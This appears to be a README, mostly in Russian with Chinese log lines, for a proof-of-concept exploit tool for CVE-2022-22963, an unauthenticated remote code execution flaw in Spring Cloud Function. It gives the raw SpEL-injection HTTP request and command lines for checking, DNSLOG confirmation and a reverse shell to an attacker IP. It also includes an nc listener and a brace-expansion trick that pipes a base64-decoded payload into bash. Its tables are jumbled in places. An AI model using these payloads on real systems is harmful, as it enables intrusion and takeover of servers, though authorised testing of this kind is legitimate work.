
CVE-2022-22963-poc
Инструмент для обнаружения и эксплуатации уязвимости удалённого выполнения кода через инъекцию SpEL-выражений в Spring Cloud Function.
CVE-2022-22963 — это высококритичная RCE-уязвимость (CVSS 9.8) в функции маршрутизации Spring Cloud Function. Когда приложение включает конечную точку /functionRouter, значение заголовка spring.cloud.function.routing-expression напрямую выполняется как SpEL-выражение (Spring Expression Language). Атакующий может выполнять произвольные системные команды на целевом сервере без аутентификации.
Затронутые версии:
| Ветка | Затронутые версии | Исправленная версия |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Принцип уязвимости:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
После выполнения SpEL сервером exec() возвращает объект Process, Spring выбрасывает исключение при попытке его сериализации, и возвращается HTTP 500. Команда выполняется асинхронно в фоне, результат не отображается в HTTP-ответе, поэтому подтверждать выполнение нужно по боковому каналу, например через DNSLOG или reverse shell.
ping-запроса на DNSLOG-домен, подтверждение выполнения команды по DNS-записиpip install requests
Python 3.6+, других зависимостей нет.
python3 CVE-2022-22963.py -u <целевойURL> [опции]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
Используется для подтверждения фактического выполнения команды в отсутствие вывода:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
Затем на платформе DNSLOG проверяется, пришёл ли DNS-запрос с IP-адреса цели.
Запуск прослушивания на машине атакующего:
nc -lvnp 9999
Отправка payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
Примечание: reverse shell зависит от поддержки
/dev/tcpв целевой системе и работает только в среде Linux + bash; не поддерживаются цели на Windows или оболочки sh/ash/dash.
Проверочный запрос отправляет на /functionRouter реальное SpEL-выражение:
T(java.lang.Runtime).getRuntime().exec('id')
Process не может быть сериализован → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) не проходит через интерпретацию shell — строка команды разбивается на токены по пробелам, поэтому конвейеры и перенаправление не работают. Инструмент обходит это следующим образом:
{cmd,arg} вместо пробелов-c bash на целевой системеbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i
| Дата | Версия | Описание |
|---|---|---|
| 2023-12-28 | v1.0 | Выпуск начальной версии |
| 2025-10-09 | v1.1 | Рефакторинг кода, улучшены обработка параметров и обработка ошибок |
| 2026-06-29 |
Данный инструмент предназначен только для исследований безопасности, авторизованного тестирования на проникновение и образовательных целей.
Используя этот инструмент, вы соглашаетесь с тем, что:
Автор не несёт ответственности за любое неавторизованное использование и его последствия.
| Параметр | Описание | По умолчанию |
|---|
-u, --url | URL цели (обязательно) | — |
-c, --check | Проверить наличие уязвимости | — |
-m, --mode | Режим эксплуатации: dnslog или shell | — |
-d, --dns | DNSLOG-домен (используется с -m dnslog) | — |
-i, --ip | IP получателя reverse shell (используется с -m shell) | — |
-p, --port | Порт для reverse shell | 9999 |
-t, --timeout | Таймаут запроса (секунды) | 5 |
| v1.2 |
| Исправлены ложные срабатывания обнаружения, склейка пути context path и смысловая ошибка возвращаемого значения эксплойта |